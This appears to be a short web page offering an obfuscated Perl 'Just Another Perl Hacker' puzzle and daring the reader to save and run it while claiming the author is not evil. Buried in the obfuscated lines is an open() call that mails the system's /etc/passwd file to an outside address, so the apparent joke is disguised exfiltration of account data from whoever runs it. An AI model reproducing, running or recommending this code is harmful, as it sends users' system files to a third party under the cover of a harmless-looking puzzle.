Save this to a file and run it -- IF YOU DARE! (Hint: I'm
not an evil person.)
$_="goto+F.print+chop;\n=yhpaj";F1:eval
open m, "mail japhy\@pobox.com < /etc/passwd |"; print m "Just Another Perl Hacker", +0; seek$|=>($/=\24,$\="\012",$=--,$=--,$=)[$++4]=>$[; print <4>.<3>.<2>.<1>.<0>.<blastoff>; close m; exit;
$_="goto+F.print+chop;\n=yhpaj";F1:eval
Back to
Obfuscated Code